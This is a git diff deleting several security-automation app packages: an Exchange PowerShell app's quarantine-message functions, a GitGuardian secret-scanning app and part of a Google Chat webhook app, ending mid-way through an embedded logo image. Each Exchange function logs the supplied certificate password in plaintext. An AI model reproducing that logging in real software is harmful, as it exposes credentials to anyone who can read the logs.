process.communicate() - self.logger.info(f"STDOUT: {stdout}") - item = "" - if len(stdout[0]) > 0: - item = stdout[0] - self.logger.info("Succesfully ran bash. Stdout: %s" % item) - else: - item = stdout[1] - self.logger.info("FAILED to run bash. Stdout: %s!" % item) - #return item - - try: - new_cleanup = self.cleanup(item) - if len(new_cleanup) > 0: - item = new_cleanup - except Exception as e: - pass - - try: - return item.decode("utf-8") - except Exception as e: - return item - - return item - - - - def handle_filewriting(self, certificate): - filedata = self.get_file(certificate) - if filedata["success"] == False: - return filedata - - cert = "cert.pfx" - self.logger.info("Writing cert to file %s" % cert) - with open(cert, "wb+") as tmp: - tmp.write(filedata["data"]) - - return filedata - - def run_custom(self, certificate, password, app_id, organization, command): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - parsed_command = command - #if "convertto-json" not in parsed_command.lower(): - # parsed_command = parsed_command + "| ConvertTo-Json -Depth 9" - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - return ret - - # Write your data inside this function - def release_quarantine_message(self, certificate, password, app_id, organization, message_id): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - parsed_command = f"Release-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - return ret - - # Write your data inside this function - def preview_quarantine_message(self, certificate, password, app_id, organization, message_id): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - parsed_command = f"Preview-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - return ret - - # Write your data inside this function - def export_quarantine_message(self, certificate, password, app_id, organization, message_id, skip_upload="false"): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - parsed_command = f"Export-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - print("RET: %s" % ret) - try: - ret = json.loads(ret) - except json.decoder.JSONDecodeError: - return ret - - file_eml = ret["Eml"] - if skip_upload == "true": - return file_eml - - message_bytes = base64.b64decode(file_eml) - - fileinfo = self.set_files({ - "filename": f"{message_id}.eml", - "data": message_bytes - }) - - if len(fileinfo) == 1: - return { - "success": True, - "file_id": fileinfo[0] - } - return fileinfo - - # Write your data inside this function - def delete_quarantine_message(self, certificate, password, app_id, organization, message_id): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - parsed_command = f"Delete-QuarantineMessage -Identity {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - return ret - - # Write your data inside this function - def get_quarantine_message(self, certificate, password, app_id, organization, message_id): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - parsed_command = f"Get-QuarantineMessage {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - return ret - - # Write your data inside this function - def get_quarantine_messages(self, certificate, password, app_id, organization, time_from, time_to): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - #parsed_command = f"Get-QuarantineMessage -StartReceivedDate {time_from} -EndReceivedDate {time_to} | ConvertTo-Json" - #parsed_command = f"Get-QuarantineMessage -StartReceivedDate {time_from} -EndReceivedDate {time_to}" - parsed_command = f"Get-QuarantineMessage -PageSize 50 -Page 1" - - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - return ret - - # Write your data inside this function - def get_quarantine_messageheaders(self, certificate, password, app_id, organization, message_id): - self.logger.info("Getting: %s %s %s %s" % (certificate, password, app_id, organization)) - filedata = self.handle_filewriting(certificate) - if filedata["success"] == False: - return filedata - - parsed_command = f"Get-QuarantineMessageHeader {message_id} | ConvertTo-Json" - - ret = self.replace_and_run(password, app_id, organization, parsed_command) - return ret - -if __name__ == "__main__": - exchange_powershell.run() diff --git a/gitguardian/1.0.0/Dockerfile b/gitguardian/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/gitguardian/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/gitguardian/1.0.0/GitGuardian.md b/gitguardian/1.0.0/GitGuardian.md deleted file mode 100644 index dd8c90d3..00000000 --- a/gitguardian/1.0.0/GitGuardian.md +++ /dev/null @@ -1,13 +0,0 @@ -## GitGuardian -- An app to interact with GitGuardian's secret detection API. - -## Requirements -- You'll need to generate an API token from your GitGuardian workspace. - -## Actions -1) Content scan -- Scans text data to discover secrets inside them. -- Use file_id if you have file to scan otherwise use content if you have data coming from another node. Do not use both at once. - -## Note -- Max request payload size is 1 MB. diff --git a/gitguardian/1.0.0/api.yaml b/gitguardian/1.0.0/api.yaml deleted file mode 100644 index 9a022e74..00000000 --- a/gitguardian/1.0.0/api.yaml +++ /dev/null @@ -1,43 +0,0 @@ -app_version: 1.0.0 -name: GitGuardian -description: An app to interact with GitGuardian -contact_info: - name: "@dhavaldave" - url: https://twitter.com/dhavaldave98 - email: dhavald@infopercept.com -tags: - - Vulnerabilities - - Assets -categories: - - Assets -authentication: - required: true - parameters: - - name: api_key - description: The access key to use - example: "*****" - required: true - schema: - type: string -actions: - - name: content_scan - description: Scans provided content for policy breaks. - parameters: - - name: content - description: Provide a content you want to scan - required: false - multiline: true - example: "Your content here" - schema: - type: string - - name: file_id - description: - required: false - multiline: false - example: "file id" - schema: - type: file - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/gitguardian/1.0.0/requirements.txt b/gitguardian/1.0.0/requirements.txt deleted file mode 100644 index 7a453b65..00000000 --- a/gitguardian/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -pygitguardian==1.1.2 \ No newline at end of file diff --git a/gitguardian/1.0.0/src/app.py b/gitguardian/1.0.0/src/app.py deleted file mode 100644 index 6d931ea2..00000000 --- a/gitguardian/1.0.0/src/app.py +++ /dev/null @@ -1,46 +0,0 @@ -import socket -import asyncio -import time -import random -import json -from pygitguardian import GGClient -import requests - -from walkoff_app_sdk.app_base import AppBase - -class GitGuardian(AppBase): - __version__ = "1.0.0" - app_name = "GitGuardian" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def content_scan(self, api_key, content, file_id): - client = GGClient(api_key=api_key) - - if file_id and content: - raise Exception("Can not use file_id & content at once, Please use either one of them.") - - if file_id: - text = file_id['data'] - try: - scan_result = client.content_scan(document=text) - return scan_result.to_json() - except Exception as e: - return f"Exception occured: {e}" - - if content: - try: - scan_result = client.content_scan(document=content) - return scan_result.to_json() - except Exception as e: - return f"Exception occured: {e}" - -if __name__ == "__main__": - GitGuardian.run() diff --git a/google-chat/1.0.0/Dockerfile b/google-chat/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/google-chat/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/google-chat/1.0.0/api.yaml b/google-chat/1.0.0/api.yaml deleted file mode 100644 index 92e5b966..00000000 --- a/google-chat/1.0.0/api.yaml +++ /dev/null @@ -1,87 +0,0 @@ -app_version: 1.0.0 -name: Google Chat -description: An app for Google Chat messaging service -contact_info: - name: "nusantara-self" - url: https://github.com/nusantara-self -tags: - - Alert -categories: - - Communication -authentication: - required: true - parameters: - - name: webhook_url - description: webhook URL that also defines the room chat - example: "https://chat.googleapis.com/v1/spaces/AAAAAAAA/messages?key=AIzaSyDdI&token=ZDsd2531" - required: true - schema: - type: string -actions: - - name: send_simple_message - description: Sends a message to Google Chat room. - parameters: - - name: webhook_url - description: Enter the webhook created in your Chat room - required: true - multiline: false - example: 'https://chat.googleapis.com/v1/spaces/AAAAAAAA/messages?key=AIzaSyDdI&token=ZDsd2531' - schema: - type: string - - name: message - description: Message to send - required: true - multiline: true - example: "Alert X has been remediated by Shuffle." - schema: - type: string - - name : threadKey - description: Write in the specified thread related to this key or create it. Optional. - required: false - multiline: false - example: "SplunkAlertThread" - schema: - type: string - returns: - schema: - type: string - - name: send_card_message - description: Sends a 'card-style' message to Google Chat room. - parameters: - - name: webhook_url - description: Enter the webhook created in your Chat room - required: true - multiline: false - example: 'https://chat.googleapis.com/v1/spaces/AAAAAAAA/messages?key=AIzaSyDdI&token=ZDsd2531' - schema: - type: string - - name: message - description: Message to send - required: true - multiline: true - example: "Alert X has been remediated by Shuffle." - schema: - type: string - - name: app - description: App for the header picture and name - required: false - schema: - type: string - options: - - Shuffle - - Splunk - - TheHive - - PrismaCloud - - AWSWAF - - CVE - - name : threadKey - description: Write in the specified thread related to this key or create it. Optional. - required: false - multiline: false - example: "SplunkAlertThread" - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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